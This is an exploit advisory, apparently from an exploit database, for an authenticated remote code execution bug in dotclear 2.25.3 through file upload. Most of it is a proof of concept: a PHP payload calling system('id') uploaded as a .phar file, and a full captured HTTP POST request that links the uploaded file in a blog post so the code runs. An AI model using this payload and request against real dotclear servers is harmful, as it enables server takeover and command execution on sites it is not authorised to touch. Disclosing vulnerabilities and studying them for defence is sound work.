Exploit Title: dotclear 2.25.3 - Remote Code Execution (RCE) (Authenticated) Application: dotclear Version: 2.25.3 Bugs: Remote Code Execution (RCE) (Authenticated) via file upload Technology: PHP Vendor URL: https://dotclear.org/ Software Link: https://dotclear.org/download Date of found: 08.04.2023 Author: Mirabbas Ağalarov Tested on: Linux 2. Technical Details & POC ======================================== While writing a blog post, we know that we can upload images. But php did not allow file upload. This time <?php echo system("id"); ?> I wrote a file with the above payload, a poc.phar extension, and uploaded it. We were able to run the php code when we visited your page poc request: POST /dotclear/admin/post.php HTTP/1.1 Host: localhost Content-Length: 566 Cache-Control: max-age=0 sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Linux" Upgrade-Insecure-Requests: 1 Origin: http://localhost Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: http://localhost/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: dcxd=f3bb50e4faebea34598cf52bcef38548b68bc1cc Connection: close post_title=Welcome+to+Dotclear%21&post_excerpt=&post_content=%3Cp%3EThis+is+your+first+entry.+When+you%27re+ready+to+blog%2C+log+in+to+edit+or+delete+it.fghjftgj%3Ca+href%3D%22%2Fdotclear%2Fpublic%2Fpoc.phar%22%3Epoc.phar%3C%2Fa%3E%3C%2Fp%3E%0D%0A&post_notes=&id=1&save=Save+%28s%29&xd_check=ca4243338e38de355f21ce8a757c17fbca4197736275ba4ddcfced4a53032290d7b3c50badd4a3b9ceb2c8b3eed2fc3b53f0e13af56c68f2b934670027e12f4e&post_status=1&post_dt=2023-04-08T06%3A37&post_lang=en&post_format=xhtml&cat_id=&new_cat_title=&new_cat_parent=&post_open_comment=1&post_password= poc video : https://youtu.be/oIPyLqLJS70